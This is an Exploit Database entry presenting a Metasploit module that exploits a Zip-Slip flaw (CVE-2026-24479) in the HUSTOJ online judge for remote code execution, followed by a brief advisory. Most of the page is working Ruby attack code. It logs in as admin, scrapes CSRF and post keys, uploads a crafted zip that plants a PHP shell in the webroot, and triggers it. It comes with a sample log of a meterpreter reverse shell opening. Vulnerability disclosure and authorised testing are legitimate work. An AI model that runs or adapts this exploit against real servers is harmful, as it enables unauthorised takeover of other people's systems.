This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING HUSTOJ Zip-Slip v26.01.24 - RCE EDB-ID: 52539 CVE: 2026-24479 EDB Verified: Author: MARSHALL WHITTAKER Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-04-30 Vulnerable App: # Exploit Title: HUSTOJ Zip-Slip v26.01.24 - RCE # Date: 2026-02-14 # Exploit Author: Marshall Whittaker / oxagast # Vendor Homepage: https://github.com/zhblue/hustoj # Software Link: http://123.158.38.129:8090/livecd/HUSTOJ25.05.iso (LiveCD, or see above git repo) # Version: Before v26.01.24 # Tested on: Ubuntu # CVE: CVE-2026-24479 # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # This payload is configured for: # msfvenom -p linux/x86/meterpreter_reverse_tcp --format elf # # Patch: # $file_name = $path.zip_entry_name($dir_resource); # $file_name=str_replace('../', '', $file_name); # $file_path = substr($file_name,0,strrpos($file_name, "/")); # # msf exploit(local/test/hustoj_problem_import_rce) > exploit # [*] Started reverse TCP handler on 10.0.1.35:4444 # [*] Running automatic check ("set AutoCheck false" to disable) # [+] The target is vulnerable. # [+] Payload generated! # [*] Random payload tag is: 886b0 ... # [+] Zip file generated! # [+] Connected to the target webserver! # [+] Logged in successfully! # [*] Checking if this account has administrative privileges... # [+] This is an admin account! # [*] Uploading the payload... # [+] Accessed the problem import page! # [+] Payload uploaded!... # [*] Waiting on files to be extracted serverside... # [*] This is where the zipslip happens... # [*] Triggering the php script... # [*] Meterpreter session 21 opened (10.0.1.35:4444 -> 10.0.1.23:51080) at 2026-02-13 06:01:07 -0500 # [*] Cleaning up the payload caller and shell files... # [+] Boom!! Have fun! # # meterpreter > # # require 'msf/core' require 'nokogiri' require 'digest/md5' # Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479) class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super(update_info(info, 'Name' => 'Authenticated admin can upload crafted zip file for RCE', 'Description' => <<~DESC, A user with administrative privileges can abuse the problem_import_qduoj.php CGI script using a crafted zip file (zip-slip) to traverse backwards through the filesystem to the webroot, where they can extract a PHP file containing a shell to get full RCE in the context of the webserver. DESC 'Author' => [ 'Marshall Whittaker', 'LoTuS and friends', 'ling101w' ], 'License' => MSF_LICENSE, 'ARCH' => [ARCH_X86], 'References' => [ ['URL', 'https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits' \ '/CVE-2026-24479/hustoj_problem_import_rce.rb'], ['URL', 'https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d423' \ '6899314b33101f'], ['URL', 'https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'], ['CVE', '2026-24479'], ['CWE', '22'] ], 'Platform' => 'linux', 'Targets' => [ [ 'HUSTOJ < v26.01.24 (commit 89044beb4cea758a353fd133895dec76822f4ddc)', { 'Privileged' => false } ] ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] }, 'DisclosureDate' => '2026-01-26', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), Opt::LPORT(4444), OptString.new('RHOST', [true, "The target machine's IP", '']), OptString.new('LHOST', [true, "This machine's IP", '']), OptString.new('USERNAME', [true, "The HUSTOJ administrative user's username", 'admin']), OptString.new('PASSWORD', [true, "The HUSTOJ administrative user's password", '']), OptString.new('DropFile', [true, 'The name of the file to drop on the target (without extension)', 'msf']), OptInt.new('TRIGGER_WAIT', [true, 'Number of seconds to wait for shell call', 2]), OptInt.new('traverse_limit', [true, 'Number of ../ traversals to include in zip slip paths', 6]) ], self.class ) register_advanced_options([ OptBool.new('HANDLER', [true, 'Start an exploit/multi/handler job to receive the connection', true]) ]) deregister_options('VHOST', 'Proxies', 'RHOSTS', 'SSL') end # Check if the target is likely vulnerable def check res = send_request_cgi( 'uri' => '/include/reinfo.js', 'method' => 'GET', 'ctype' => 'application/javascript' ) return Exploit::CheckCode::Unknown if res.nil? return Exploit::CheckCode::Appears if res.code != 200 return Exploit::CheckCode::Detected if res.code == 200 && res.body.include?('function escapeHtml(str) {') return Exploit::CheckCode::Vulnerable if res.code == 200 && !res.body.include?('function escapeHtml(str) {') Exploit::CheckCode::Safe end # Authenticate as admin and return session cookies def login(user, pass) res = send_request_cgi( { 'uri' => '/', 'method' => 'GET', 'keep_cookies' => true, 'ctype' => 'text/html' }, 3 ) if res && res.code == 200 print_good("Connected to the target webserver! #{datastore['RHOST']}:#{datastore['RPORT']}") else fail_with( Failure::Unreachable, 'Failed to connect to the target webserver!' ) end cook = res.get_cookies send_request_cgi( 'uri' => '/csrf.php', 'cookies' => cook, 'method' => 'GET', 'keep_cookies' => true, 'ctype' => 'text/html' ) send_request_cgi( 'uri' => '/loginpage.php', 'method' => 'GET', 'keep_cookies' => true, 'ctype' => 'text/html' ) res = send_request_cgi( 'uri' => '/csrf.php', 'cookies' => cook, 'method' => 'GET', 'keep_cookies' => true, 'ctype' => 'text/html' ) doc = Nokogiri::HTML(res.body) csrf = doc.css('input[name="csrf"]').first['value'] send_request_cgi( 'method' => 'POST', 'uri' => '/login.php', 'cookies' => cook, 'keep_cookies' => true, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'user_id' => user, 'password' => Digest::MD5.hexdigest(pass), 'csrf' => csrf } ) # Check if login was successful res = send_request_cgi( 'method' => 'GET', 'uri' => '/modifypage.php', 'cookies' => cook, 'keep_cookies' => true ) if res && res.code == 200 && res.body.include?('userinfo.php') stars = '*' * pass.length print_good("Logged in successfully! #{user}:#{stars}") else fail_with( Failure::BadConfig, 'Failed to authenticate! Check credentials.' ) end # Check if the account has admin privileges res = send_request_cgi( 'method' => 'GET', 'uri' => '/admin/menu2.php', 'cookies' => cook, 'keep_cookies' => true ) if res && res.code == 200 && res.body.include?('problem_import.php') print_good('This is an admin account! res.body includes problem_import.php') else print_error('This does not appear to be an admin account! Attempting to continue,') print_error(' but the exploit may fail at the payload upload stage...') end cook end # Upload the malicious zip payload using the admin session def upload_payload(zip_dat, rand_tag, cook, dds) zip_size_kb = (zip_dat.length / 1024.0).round(2) print_status("Uploading the payload... #{zip_size_kb}kb") # Access the problem import page to get the postkey res = send_request_cgi( 'method' => 'GET', 'cookies' => cook, 'uri' => '/admin/problem_import.php', 'keep_cookies' => true, 'ctype' => 'text/html' ) if res && res.code == 200 && res.body.include?('problem_import_qduoj.php') print_good('Accessed the problem import page! /admin/problem_import.php') else fail_with( Failure::UnexpectedReply, 'Failed to access the problem import page!' ) end doc = Nokogiri::HTML(res.body) postkey_input = doc.at_css('input[name="postkey"]') postkey = postkey_input ? postkey_input['value'] : nil fail_with(Failure::UnexpectedReply, 'Failed to retrieve the postkey!') if postkey.nil? || postkey.empty? form_boundary = "----WebKitFormBoundary#{rand_tag}" form_data = <<~FORMDATA --#{form_boundary} Content-Disposition: form-data; name="fps"; filename="#{datastore['dropfile']}.zip" Content-Type: application/zip #{zip_dat} --#{form_boundary} Content-Disposition: form-data; name=postkey #{postkey} --#{form_boundary}-- FORMDATA res = send_request_cgi( 'method' => 'POST', 'uri' => '/admin/problem_import_qduoj.php', 'cookies' => cook, 'keep_cookies' => true, 'ctype' => "multipart/form-data; boundary=#{form_boundary}", 'data' => form_data ) if res && res.code == 200 print_good("Payload uploaded! #{datastore['dropfile']}.zip") else print_error('Failed to upload the payload, trying again for a different revision...') form_data = <<~FORMDATA --#{form_boundary} Content-Disposition: form-data; name="fps"; filename="#{datastore['dropfile']}.zip" Content-Type: application/zip #{zip_dat} --#{form_boundary} FORMDATA res = send_request_cgi( 'method' => 'POST', 'uri' => '/admin/problem_import_qduoj.php', 'cookies' => cook, 'keep_cookies' => true, 'ctype' => "multipart/form-data; boundary=#{form_boundary}", 'data' => form_data ) if res && res.code == 200 print_good("Payload uploaded! #{datastore['dropfile']}.zip") else fail_with(Failure::UnexpectedReply, 'Failed to upload the payload!') end end print_status("This is where the zipslip happens... #{dds} (levels: #{datastore['traverse_limit']})") end # Trigger the uploaded PHP shell to execute the payload def trigger_sploit(rand_tag) print_status("Triggering the php script... #{datastore['dropfile']}-#{rand_tag}.php") send_request_raw( { 'uri' => "/#{datastore['dropfile']}-#{rand_tag}.php", 'ctype' => 'text/html', 'method' => 'GET' }, datastore['TRIGGER_WAIT'] ) end #
A critical Zip-Slip vulnerability (CVE-2026-24479, CVSS 9.8) in HUSTOJ allows authenticated administrators to achieve remote code execution by uploading a crafted zip file that exploits path traversal during extraction. All versions of HUSTOJ prior to version 26.01.24 are affected. The vulnerability is fixed in HUSTOJ version 26.01.24.